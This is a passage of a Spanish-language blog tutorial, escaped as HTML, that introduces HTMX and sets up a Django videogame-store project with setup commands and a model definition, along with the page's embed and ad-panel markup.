width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;¿Y cuantos kB le va añadir a mi proyecto? Casi nada, HTMX es bastante ligero, pesa alrededor de 10 kB gzipped o 30 kB minimizado y no tiene dependencias.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/TamanoDeHTMX.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/TamanoDeHTMX.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tamaño de la librería HTMX. 105 kB normal, 32 kB minimizado y 10.8 comprimido en gzip.&#34; width=&#34;1031&#34; height=&#34;386&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Htmx te permite manejar peticiones AJAX, transiciones de CSS, websockets y eventos mandados desde el servidor sobre cualquier tag de HTML que acepte atributos . Todas estas funcionalidades pueden ser desencadenadas por una serie triggers tales como que un elemento cargue, que aparezca en el viewport, un click, que el mouse entre (o salga), o incluso eventos que se activan cada cierto tiempo sin interacción del usuario. Además de peticiones GET y POST, HTMX permite hacer peticiones PUT, DELETE, PATCH, todo modificando atributos de etiquetas HTML únicamente.&lt;/p&gt;&#xA;&lt;p&gt;Htmx no genera HTML, sino que delega esa tarea al servidor, por lo que en lugar de tener una endpoint con respuestas en JSON trabajaremos con endpoints que generarán directamente el código HTML y lo enviarán como respuesta, como si fuera SSR. Eso lo vuelve perfecto para combinarse con el sistema de plantillas que viene integrado en Django.&lt;/p&gt;&#xA;&lt;p&gt;Pero supongo que quieres ver como luce el código ¿no? Mira este ejemplo tomado de la documentación:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-post&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/clicked&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#parent-div&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Click Me!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;&#xA;&lt;p&gt;Cuando un usuario haga click en este botón, realiza una petición HTTP POST a la url /clicked y usa el contenido de la respuesta para reemplazar al elemento con el id parent-div en el DOM&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://htmx.org/docs/#introduction&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://htmx.org/docs/#introduction&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxEsquema.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxEsquema.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema del funcionamiento de htmx&#34; width=&#34;1200&#34; height=&#34;1300&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esquema del funcionamiento de HTMX&lt;/p&gt;&#xA;&lt;h2 id=&#34;preparacion-del-proyecto-de-django-y-htmx&#34;&gt;Preparación del proyecto de Django y htmx&lt;/h2&gt;&#xA;&lt;p&gt;Para este tutorial he creado un repositorio en github, por lo que si quieres ahorrarte todo el boilerplate, puedes simplemente clonar todo el proyecto e ir siguiendo el código conforme lo voy escribiendo.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que si no estás convencido de porque deberías usar Django revisa mi entrada donde explico las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;ventajas y desventajas de Django&lt;/a&gt;&#xA;. Si no tienes idea de como se usa Django mejor empieza con la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/la-guia-definitiva-de-django/&#34;&gt;guia de Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Ejecuta esto para no escribir el código&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git clone https://github.com/EduardoZepeda/djangohtmxtest.git&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; djangohtmxtest/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python loaddata videogames&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Datos de inicio de sesión:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user: admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;password: contrasenaNoSegura&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;instalacion-de-modelos-y-dependencias-de-django&#34;&gt;Instalación de modelos y dependencias de Django&lt;/h3&gt;&#xA;&lt;p&gt;Para empezar, vamos a crear un entorno virtual con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/pipenv-el-administrador-de-entornos-virtuales-que-no-conoces/&#34;&gt;el gestor de entornos virtuales pipenv&lt;/a&gt;&#xA;. Tú puedes usar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/python-virtualenv-tutorial-basico-en-linux/&#34;&gt;pip&lt;/a&gt;&#xA;, poetry, conda o el que prefieras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Creemos un proyecto y una app con &lt;em&gt;django-admin&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject djangoHtmx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startapp videogameStore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Entra en la carpeta &lt;em&gt;videogameStore&lt;/em&gt; y creemos los modelos que usaremos&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Create your models here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GENRES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;HOR&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Horror&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;RPG&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;RPG&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ADV&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Adventure&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    genre &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(choices&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;GENRES, max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    price &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DecimalField(max_digits&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;, decimal_places&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora corramos las migraciones y creemos un súper usuario.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  